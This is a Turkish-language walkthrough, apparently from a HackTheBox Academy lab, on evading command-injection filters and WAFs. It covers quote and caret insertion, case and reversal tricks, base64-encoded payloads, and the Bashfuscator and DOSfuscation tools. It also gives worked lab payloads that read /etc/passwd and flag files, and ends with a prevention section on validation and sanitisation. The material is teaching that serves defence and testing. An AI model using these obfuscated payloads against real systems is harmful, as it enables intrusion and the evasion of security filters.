Komut gizleme araçlarına daha sonra değineceğimiz gibi, karmaşıklık derecesine göre değişen çeşitli komut gizleme yöntemleri vardır. Filtreleri manuel olarak atlatmak için komutumuzun görünümünü değiştirmemizi sağlayabilecek birkaç temel tekniği ele alacağız.

Commands Blacklist

Şu ana kadar payload’umuzdaki boşluk ve noktalı virgül karakterleri için karakter filtresini başarıyla atlattık. Şimdi, ilk payload’umuza geri dönelim ve whoami komutunu yeniden ekleyerek çalıştırılıp çalıştırılmadığını görelim:

Web uygulaması tarafından engellenmeyen karakterler kullanmamıza rağmen, komutumuzu ekledikten sonra isteğin tekrar engellendiğini görüyoruz. Bunun nedeni büyük olasılıkla başka bir filtre türü olan komut blacklist filtresidir.

PHP’deki temel bir komut blacklist filtresi aşağıdaki gibi görünecektir:

$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos('$_POST['ip']', $word) !== false) {
echo "Invalid input";
}
}

Gördüğümüz gibi, kullanıcı girdisinin her bir kelimesini blacklistedeki kelimelerden herhangi biriyle eşleşip eşleşmediğini görmek için kontrol ediyor. Ancak, bu kod verilen komutun tam eşleşmesini aramaktadır, bu nedenle biraz farklı bir komut gönderirsek engellenmeyebilir. Neyse ki, komutumuzu tam komut kelimesini kullanmadan çalıştıracak çeşitli gizleme tekniklerini kullanabiliriz.

Linux & Windows

Çok yaygın ve kolay bir gizleme tekniği, komutumuzun içine genellikle Bash veya PowerShell gibi komut kabukları tarafından göz ardı edilen ve sanki orada yokmuş gibi aynı komutu çalıştıracak belirli karakterler eklemektir. Bu karakterlerden bazıları tek tırnak ‘ ve çift tırnak “ ve diğer birkaç karakterdir.

Kullanımı en kolay olan tırnak işaretleridir ve hem Linux hem de Windows sunucularında çalışırlar. Örneğin, whoami komutunu gizlemek istiyorsak, karakterleri arasına aşağıdaki gibi tek tırnak işareti ekleyebiliriz:

21y4d@htb[/htb]$ w'h'o'am'i

21y4d

Aynı şey çift tırnak işaretleri için de geçerlidir:

21y4d@htb[/htb]$ w"h"o"am"i

21y4d

Hatırlanması gereken önemli şeyler, tırnak türlerini karıştıramayacağımız ve tırnak sayısının çift olması gerektiğidir. Yukarıdakilerden birini payload’umuzda (127.0.0.1%0aw’h’o’am’i) deneyebilir ve çalışıp çalışmadığını görebiliriz:

Gördüğümüz gibi, bu yöntem gerçekten de işe yarıyor.

Linux Only

Komutların ortasına Linux’a özel birkaç karakter daha ekleyebiliriz ve bash kabuğu bunları görmezden gelerek komutu çalıştırır. Bu karakterler arasında ters eğik çizgi \ ve konumsal parametre karakteri $@ yer alır. Bu aynen tırnak işaretlerinde olduğu gibi çalışır, ancak bu durumda karakterlerin sayısı eşit olmak zorunda değildir ve istersek bunlardan sadece birini ekleyebiliriz:

who$@ami
w\ho\am\i

Windows Only

Ayrıca, aşağıdaki örnekte görebileceğimiz gibi, komutların ortasına ekleyebileceğimiz ve sonucu etkilemeyen, Windows’a özel bazı karakterler de vardır; örneğin şapka (^) karakteri gibi:

C:\htb> who^ami

21y4d

Bir sonraki bölümde, komut gizleme ve filtre atlama için bazı daha gelişmiş teknikleri tartışacağız.

Soru : Bu bölümde öğrendiklerinizi kullanarak daha önce bulduğunuz kullanıcının ana klasöründeki flag.txt dosyasının içeriğini bulun.

Cevap :

1- new-line’nın çalışıp çalışmadığını kontrol edelim .

2- new-line çalışıyor . $IFS ‘in çalışıp çalışmadığını kontrol edelim .

3- Filtreleme olmasaydı eğer cat /home/1nj3c70r/flag.txt yapmamızyeterliydi fakat. Blacklist tahmini olarak cat komutu engelliyor. Ayrıca / operandlarıda engelliyor.

cat → c’a’t → ile atlatıyoruz.

/ → ifadesini ise ${PATH:0:1} ile atlatıyoruz. Payloadımız şu şekildedir.

Gelişmiş Komut Gizleme

Bazı durumlarda, Web Uygulaması Güvenlik Duvarları (WAF’lar) gibi gelişmiş filtreleme çözümleriyle uğraşıyor olabiliriz ve temel kaçınma teknikleri her zaman işe yaramayabilir. Bu gibi durumlarda, enjekte edilen komutların tespit edilme olasılığını çok daha düşük hale getiren daha gelişmiş teknikler kullanabiliriz.

Case Manipulation

Kullanabileceğimiz bir komut gizleme tekniği, bir komutun karakter durumlarını tersine çevirmek (örneğin WHOAMI) veya durumlar arasında geçiş yapmak (örneğin WhOaMi) gibi durum manipülasyonudur. Bu genellikle işe yarar çünkü Linux sistemleri büyük/küçük harfe duyarlı olduğu için bir komut blacklist tek bir kelimenin farklı büyük/küçük harf varyasyonlarını kontrol etmeyebilir.

Bir Windows sunucusuyla uğraşıyorsak, komutun karakterlerinin büyük/küçük harflerini değiştirebilir ve gönderebiliriz. Windows’ta PowerShell ve CMD komutları büyük/küçük harfe duyarsızdır, yani hangi harfle yazıldığına bakılmaksızın komutu çalıştırırlar:

PS C:\htb> WhOaMi

21y4d

Ancak, söz konusu Linux ve bash kabuğu olduğunda, daha önce de belirtildiği gibi, büyük/küçük harfe duyarlı olduğundan, biraz yaratıcı olmamız ve komutu tümüyle küçük harfli bir sözcüğe dönüştüren bir komut bulmamız gerekir. Kullanabileceğimiz işe yarar bir komut aşağıdaki gibidir:

21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

21y4d

Gördüğümüz gibi, verdiğimiz kelime (WhOaMi) olmasına rağmen komut çalıştı. Bu komut, tüm büyük harfli karakterleri küçük harfli karakterlerle değiştirmek için tr kullanır, bu da tümüyle küçük harfli bir komutla sonuçlanır. Ancak, yukarıdaki komutu Host Checker web uygulaması ile kullanmaya çalışırsak, yine de engellendiğini göreceğiz:

Burp POST Request

Nedenini tahmin edebilir misiniz? Çünkü yukarıdaki komut, daha önce gördüğümüz gibi web uygulamamızda filtrelenmiş bir karakter olan boşluk içeriyor. Bu nedenle, bu tür tekniklerde, her zaman filtrelenmiş karakterler kullanmadığımızdan emin olmalıyız, aksi takdirde isteklerimiz başarısız olur ve tekniklerin işe yaramadığını düşünebiliriz.

Boşlukları sekmelerle (%09) değiştirdiğimizde, komutun mükemmel bir şekilde çalıştığını görüyoruz:

Aşağıdaki gibi aynı amaçla kullanabileceğimiz başka birçok komut vardır:

$(a="WhOaMi";printf %s "${a,,}")

Alıştırma: Linux sanal makinenizde çalışıp çalışmadığını görmek için yukarıdaki komutu test edebilir ve ardından web uygulamasında çalışmasını sağlamak için filtrelenmiş karakterleri kullanmaktan kaçınmayı deneyebilir misiniz?

Tersine Çevrilmiş Komutlar

Tartışacağımız bir başka komut gizleme tekniği de komutları tersine çevirmek ve onları gerçek zamanlı olarak çalıştıran bir komut şablonuna sahip olmaktır. Bu durumda, blacklisted komutunu tetiklemekten kaçınmak için whoami yerine imaohw yazacağız.

Bu tür tekniklerle yaratıcı olabilir ve sonunda gerçek komut kelimelerini içermeden komutu çalıştıran kendi Linux/Windows komutlarımızı oluşturabiliriz. İlk olarak, terminalimizde komutumuzun ters çevrilmiş dizesini aşağıdaki gibi almamız gerekir:

M1R4CKCK@htb[/htb]$ echo 'whoami' | rev
imaohw

Ardından, orijinal komutu aşağıdaki gibi bir alt kabukta ($()) tersine çevirerek çalıştırabiliriz:

21y4d@htb[/htb]$ $(rev<<<'imaohw')

21y4d

Komutun gerçek whoami kelimesini içermemesine rağmen aynı şekilde çalıştığını ve beklenen çıktıyı sağladığını görüyoruz. Bu komutu alıştırmamızla da test edebiliriz ve gerçekten de çalışır:

İpucu: Yukarıdaki yöntemle bir karakter filtresini atlamak isterseniz, bunları da tersine çevirmeniz veya orijinal komutu tersine çevirirken dahil etmeniz gerekir.

Aynı şey Windows’ta da uygulanabilir. İlk olarak bir dizeyi aşağıdaki gibi tersine çevirebiliriz:

PS C:\htb> "whoami"[-1..-20] -join ''

imaohw

Artık bir PowerShell alt kabuğu (iex “$()”) ile tersine çevrilmiş bir dizeyi çalıştırmak için aşağıdaki komutu aşağıdaki gibi kullanabiliriz:

PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"

21y4d

Encoded Commands

Tartışacağımız son teknik, filtrelenmiş karakterler veya sunucu tarafından URL kodu çözülebilecek karakterler içeren komutlar için yararlıdır. Bu, komutun kabuğa ulaştığında karışmasına ve sonunda yürütülememesine neden olabilir. Mevcut bir komutu çevrimiçi olarak kopyalamak yerine, bu kez kendi benzersiz gizleme komutumuzu oluşturmaya çalışacağız. Bu şekilde, bir filtre veya WAF tarafından reddedilme olasılığı çok daha düşüktür. Oluşturacağımız komut, hangi karakterlere izin verildiğine ve sunucudaki güvenlik seviyesine bağlı olarak her durum için benzersiz olacaktır.

Base64 (b64 kodlaması için) veya xxd (hex kodlaması için) gibi çeşitli kodlama araçlarını kullanabiliriz. Örnek olarak base64'ü ele alalım. İlk olarak, çalıştırmak istediğimiz yükü (filtrelenmiş karakterler içeren) kodlayacağız:

M1R4CKCK@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

Şimdi kodlanmış dizeyi bir alt kabukta ($()) çözecek ve ardından çalıştırılmak üzere bash’e iletecek (yani bash<<<) bir komut oluşturabiliriz, aşağıdaki gibi:

M1R4CKCK@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Gördüğümüz gibi, yukarıdaki komut komutu mükemmel bir şekilde çalıştırıyor. Herhangi bir filtrelenmiş karakter eklemedik ve komutun yürütülememesine neden olabilecek kodlanmış karakterlerden kaçındık.

İpucu: Filtrelenmiş bir karakter olan boru | karakterini kullanmaktan kaçınmak için <<< kullandığımıza dikkat edin.

Şimdi bu komutu (boşlukları değiştirdikten sonra) komut enjeksiyonu yoluyla aynı komutu çalıştırmak için kullanabiliriz:

Bash veya base64 gibi bazı komutlar filtrelenmiş olsa bile, önceki bölümde tartıştığımız tekniklerle (örneğin, karakter ekleme) bu filtreyi atlayabilir veya komut yürütme için sh ve b64 kod çözme için openssl veya hex kod çözme için xxd gibi diğer alternatifleri kullanabiliriz.

Aynı tekniği Windows için de kullanacağız. İlk olarak, dizgimizi aşağıdaki gibi base64 kodlamamız gerekir:

PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

dwBoAG8AYQBtAGkA

Aynı şeyi Linux’ta da başarabiliriz, ancak dizeyi base64 yapmadan önce utf-8'den utf-16'ya aşağıdaki gibi dönüştürmemiz gerekir:

M1R4CKCK@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA

Son olarak, b64 dizesinin kodunu çözebilir ve aşağıdaki gibi bir PowerShell alt kabuğu (iex “$()”) ile çalıştırabiliriz:

PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

21y4d

Gördüğümüz gibi, Bash veya PowerShell ile yaratıcı olabilir ve daha önce kullanılmamış ve dolayısıyla filtreleri ve WAF’ları atlatma olasılığı çok yüksek olan yeni atlatma ve gizleme yöntemleri oluşturabiliriz. Birkaç araç komutlarımızı otomatik olarak gizlememize yardımcı olabilir, bunları bir sonraki bölümde tartışacağız.

Bahsettiğimiz tekniklere ek olarak, joker karakterler, regex, çıktı yeniden yönlendirme, tamsayı genişletme ve diğerleri gibi çok sayıda başka yöntem de kullanabiliriz. Bu tür bazı teknikleri PayloadsAllTheThings’de bulabiliriz.

Soru : Bu bölümde öğrendiğiniz tekniklerden birini kullanarak aşağıdaki komutun çıktısını bulun: find /usr/share/ | grep root | grep mysql | tail -n 1

cevap :

1- İlk olarak ters çevirmeyi denedim fakat ters çevirme uzun kodlarda stabil çalışmıyor. Bunun için base64 kodlama sistemini denedim . Önceki ifadelerimizi tekrar edelim.

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Payloadını düzenliyelim .

2- bash komutu hedef sistemde blacklistede olabilir . Onun için b’as’h olarak alabiliriz.

3- “<<<” ifadesi zaten | pipi yerini tutuğu için bunu değiştirmeyelim.

4- “-d” den önce boşluk var boşluğu {IFS} ile değiştirelim.

Son olarak payloadımız şu şekilde.

127.0.0.1%0ab'as'h<<<$(ba'se6'4${IFS}-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)

5- Payloadımızı deneyelim.

6- Payloadımız çalıştı sorumuzun cevabını aldık . Ayrıca ‘ işareti yerine @$ ifadesini veya “ işareti gibi alternatiflerde kullanılabilir .

Evasion Tools

Gelişmiş güvenlik araçlarıyla uğraşıyorsak, temel, manuel şaşırtma tekniklerini kullanamayabiliriz. Bu gibi durumlarda, otomatik şaşırtma araçlarına başvurmak en iyisi olabilir. Bu bölümde, biri Linux diğeri Windows için olmak üzere bu tür araçların birkaç örneği ele alınacaktır.

Linux (Bashfuscator)

Bash komutlarını gizlemek için kullanabileceğimiz kullanışlı bir araç Bashfuscator’dır. GitHub’dan depoyu klonlayabilir ve ardından aşağıdaki gibi gereksinimlerini yükleyebiliriz:

M1R4CKCK@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
M1R4CKCK@htb[/htb]$ cd Bashfuscator
M1R4CKCK@htb[/htb]$ pip3 install setuptools==65
M1R4CKCK@htb[/htb]$ python3 setup.py install --user

Aracı kurduktan sonra ./bashfuscator/bin/ dizininden kullanmaya başlayabiliriz. h yardım menüsünde görebileceğimiz gibi, nihai gizlenmiş komutumuza ince ayar yapmak için araçla birlikte kullanabileceğimiz birçok bayrak vardır:

M1R4CKCK@htb[/htb]$ cd ./bashfuscator/bin/
M1R4CKCK@htb[/htb]$ ./bashfuscator -h

usage: bashfuscator [-h] [-l] ...SNIP...

optional arguments:
-h, --help show this help message and exit

Program Options:
-l, --list List all the available obfuscators, compressors, and encoders
-c COMMAND, --command COMMAND
Command to obfuscate
...SNIP...

Basitçe -c bayrağı ile gizlemek istediğimiz komutu sağlayarak başlayabiliriz:

M1R4CKCK@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 characters

Ancak, aracı bu şekilde çalıştırmak rastgele bir karartma tekniği seçecektir ve bu da birkaç yüz karakterden bir milyon karaktere kadar değişen bir komut uzunluğu üretebilir! Bu nedenle, yardım menüsündeki bazı bayrakları kullanarak aşağıdaki gibi daha kısa ve basit bir gizlenmiş komut üretebiliriz:

M1R4CKCK@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters

Şimdi bash -c ‘’ ile çıktısı alınan komutu test edebilir ve istenen komutu çalıştırıp çalıştırmadığını görebiliriz:

M1R4CKCK@htb[/htb]$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

root:x:0:0:root:/root:/bin/bash
...SNIP...

Gizlenmiş komutun tamamen gizlenmiş görünmesine rağmen çalıştığını ve orijinal komutumuza benzemediğini görebiliriz. Ayrıca, aracın daha önce tartıştıklarımız ve diğerleri de dahil olmak üzere birçok şaşırtma tekniği kullandığını fark edebiliriz.

Alıştırma: Yukarıdaki komutu web uygulamamızla test ederek filtreleri başarıyla atlatıp atlatamadığını görmeye çalışın. Eğer geçemezse, nedenini tahmin edebilir misiniz? Ve aracın çalışan bir payload üretmesini sağlayabilir misiniz?

Windows (DOSfuscation)

Windows için kullanabileceğimiz DOSfuscation adında çok benzer bir araç da vardır. Bashfuscator’dan farklı olarak, bu etkileşimli bir araçtır, çünkü bir kez çalıştırırız ve istenen gizlenmiş komutu elde etmek için onunla etkileşime gireriz. Aracı bir kez daha GitHub’dan klonlayabilir ve ardından aşağıdaki gibi PowerShell aracılığıyla çağırabiliriz:

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscation

Aracın nasıl çalıştığına dair bir örnek görmek için öğreticiyi bile kullanabiliriz. Bir kez ayarlandıktan sonra, aşağıdaki gibi aracı kullanmaya başlayabiliriz:

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Son olarak, gizlenmiş komutu CMD üzerinde çalıştırmayı deneyebiliriz ve gerçekten de beklendiği gibi çalıştığını görürüz:

C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag

İpucu: Eğer bir Windows sanal makinesine erişimimiz yoksa, yukarıdaki kodu pwsh aracılığıyla bir Linux sanal makinesinde çalıştırabiliriz. pwsh’yi çalıştırın ve ardından yukarıdakiyle aynı komutu izleyin.

Komut Enjeksiyonu Önleme

Artık komut enjeksiyonu güvenlik açıklarının nasıl ortaya çıktığını ve karakter ve komut filtreleri gibi belirli hafifletmelerin nasıl atlanabileceğini sağlam bir şekilde anlamış olmalıyız. Bu bölümde, web uygulamalarımızda komut enjeksiyonu güvenlik açıklarını önlemek için kullanabileceğimiz yöntemler ve bunları önlemek için web sunucusunu uygun şekilde yapılandırmamız ele alınacaktır.

Sistem Komutları

Sistem komutlarını çalıştıran fonksiyonları kullanmaktan her zaman kaçınmalıyız, özellikle de bu fonksiyonlarla kullanıcı girdisi kullanıyorsak. Bu fonksiyonlara doğrudan kullanıcı girişi yapmıyor olsak bile, bir kullanıcı dolaylı olarak bunları etkileyebilir ve bu da sonuçta bir komut enjeksiyonu güvenlik açığına yol açabilir.

Sistem komut yürütme işlevlerini kullanmak yerine, back-end dilleri genellikle bu tür işlevlerin güvenli uygulamalarına sahip olduğundan, gerekli işlevleri yerine getiren yerleşik işlevleri kullanmalıyız. Örneğin, belirli bir hostun PHP ile canlı olup olmadığını test etmek istediğimizi varsayalım. Bu durumda, bunun yerine keyfi sistem komutlarını çalıştırmak için istismar edilemeyecek olan fsockopen işlevini kullanabiliriz.

Bir sistem komutu çalıştırmamız gerekiyorsa ve aynı işlevi yerine getirecek yerleşik bir işlev bulunamıyorsa, kullanıcı girdisini bu işlevlerle asla doğrudan kullanmamalı, her zaman back-end’de kullanıcı girdisini doğrulamalı ve sterilize etmeliyiz. Ayrıca, bu tür işlevlerin kullanımını mümkün olduğunca sınırlandırmaya çalışmalı ve bunları yalnızca ihtiyaç duyduğumuz işlevsellik için yerleşik bir alternatif olmadığında kullanmalıyız.

Girdi Doğrulama

İster yerleşik işlevler ister sistem komut yürütme işlevleri kullanılsın, kullanıcı girdisini her zaman doğrulamalı ve ardından sterilize etmeliyiz. Girdi doğrulama, girdi için beklenen formatla eşleştiğinden emin olmak için yapılır, öyle ki eşleşmezse istek reddedilir. Örnek web uygulamamızda, front-end’de bir girdi doğrulama girişimi olduğunu gördük, ancak girdi doğrulama hem front-end’de hem de back-end’de yapılmalıdır.

PHP’de, diğer birçok web geliştirme dilinde olduğu gibi, e-postalar, URL’ler ve hatta IP’ler gibi çeşitli standart biçimler için filter_var işleviyle aşağıdaki gibi kullanılabilen yerleşik filtreler vardır:

if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
// call function
} else {
// deny request
}

Standart olmayan farklı bir formatı doğrulamak istersek, preg_match işleviyle bir Düzenli İfade regex’i kullanabiliriz. Aynı şey hem front-end hem de back-end (yani NodeJS) için JavaScript ile aşağıdaki gibi gerçekleştirilebilir:

if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
// call function
}
else{
// deny request
}

PHP’de olduğu gibi NodeJS’de de çeşitli standart formatları doğrulamak için kütüphaneler kullanabiliriz, örneğin npm ile yükleyebileceğimiz is-ip gibi ve ardından kodumuzda isIp(ip) fonksiyonunu kullanabiliriz. .NET veya Java gibi diğer dillerin kılavuzlarını okuyarak her bir dilde kullanıcı girdisinin nasıl doğrulanacağını öğrenebilirsiniz.

Girdi Temizleme

Herhangi bir enjeksiyon açığını önlemenin en kritik kısmı, kullanıcı girdisinden gerekli olmayan özel karakterlerin kaldırılması anlamına gelen girdi sanitizasyonudur. Girdi sanitizasyonu her zaman girdi doğrulamasından sonra gerçekleştirilir. Sağlanan kullanıcı girdisinin uygun formatta olduğunu doğruladıktan sonra bile, girdi doğrulamanın başarısız olabileceği durumlar (örneğin, kötü bir regex) olduğundan, yine de sanitizasyon yapmalı ve belirli format için gerekli olmayan tüm özel karakterleri kaldırmalıyız.

Örnek kodumuzda, karakter ve komut filtreleriyle uğraşırken, belirli kelimeleri blacklist’e aldığını ve bunları kullanıcı girdisinde aradığını gördük. Genel olarak bu, enjeksiyonları önlemek için yeterince iyi bir yaklaşım değildir ve özel karakterleri kaldırmak için yerleşik işlevleri kullanmalıyız. Kullanıcı girdisinden herhangi bir özel karakteri kaldırmak için preg_replace’i aşağıdaki gibi kullanabiliriz:

$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);

Gördüğümüz gibi, yukarıdaki regex yalnızca alfanümerik karakterlere (A-Za-z0–9) izin verir ve IP’ler için gerektiği gibi bir nokta karakterine (.) izin verir. Diğer tüm karakterler dizeden çıkarılacaktır. Aynı şey JavaScript ile aşağıdaki gibi yapılabilir:

var ip = ip.replace(/[^A-Za-z0-9.]/g, '');

DOMPurify kütüphanesini aşağıdaki gibi bir NodeJS back-end için de kullanabiliriz:

import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);

Bazı durumlarda, tüm özel karakterlere izin vermek isteyebiliriz (örneğin, kullanıcı yorumları), o zaman girdi doğrulamada kullandığımız aynı filter_var işlevini kullanabilir ve herhangi bir özel karakterden kaçmak için escapeshellcmd filtresini kullanabiliriz, böylece herhangi bir enjeksiyona neden olamazlar. NodeJS için sadece escape(ip) fonksiyonunu kullanabiliriz. Ancak, bu modülde gördüğümüz gibi, özel karakterlerden kaçmak genellikle güvenli bir uygulama olarak kabul edilmez, çünkü genellikle çeşitli tekniklerle atlanabilir.

Sunucu Yapılandırması

Son olarak, web sunucusunun tehlikeye girmesi durumunda etkiyi azaltmak için back-end sunucumuzun güvenli bir şekilde yapılandırıldığından emin olmalıyız. Uygulayabileceğimiz konfigürasyonlardan bazıları şunlardır:

Harici bir WAF’a (örneğin Cloudflare, Fortinet, Imperva…) ek olarak web sunucusunun yerleşik Web Uygulaması Güvenlik Duvarı’nı (örneğin Apache mod_security’de) kullanınWeb sunucusunu düşük ayrıcalıklı bir kullanıcı (ör. www-data) olarak çalıştırarak En Az Ayrıcalık İlkesine (PoLP) uyunBelirli işlevlerin web sunucusu tarafından yürütülmesini engelleyin (örneğin, PHP disable_functions=system,…)Web uygulaması tarafından erişilebilen kapsamı kendi klasörüyle sınırlayın (örneğin PHP’de open_basedir = ‘/var/www/html’)URL’lerde çift kodlu istekleri ve ASCII olmayan karakterleri reddetmeHassas/eski kütüphanelerin ve modüllerin kullanımından kaçının (örn. PHP CGI)

Sonunda, tüm bu güvenlik azaltma ve yapılandırmalarından sonra bile, herhangi bir web uygulaması işlevinin hala komut enjeksiyonuna karşı savunmasız olup olmadığını görmek için bu yazıda öğrendiğimiz sızma testi tekniklerini uygulamamız gerekir. Bazı web uygulamalarında milyonlarca satır kod bulunduğundan, herhangi bir kod satırındaki tek bir hata güvenlik açığı oluşturmak için yeterli olabilir. Bu nedenle, güvenli kodlama en iyi uygulamalarını kapsamlı sızma testleriyle tamamlayarak web uygulamasını güvence altına almaya çalışmalıyız.

Okuduğunuz için teşekkür ederim.

Read Entire Article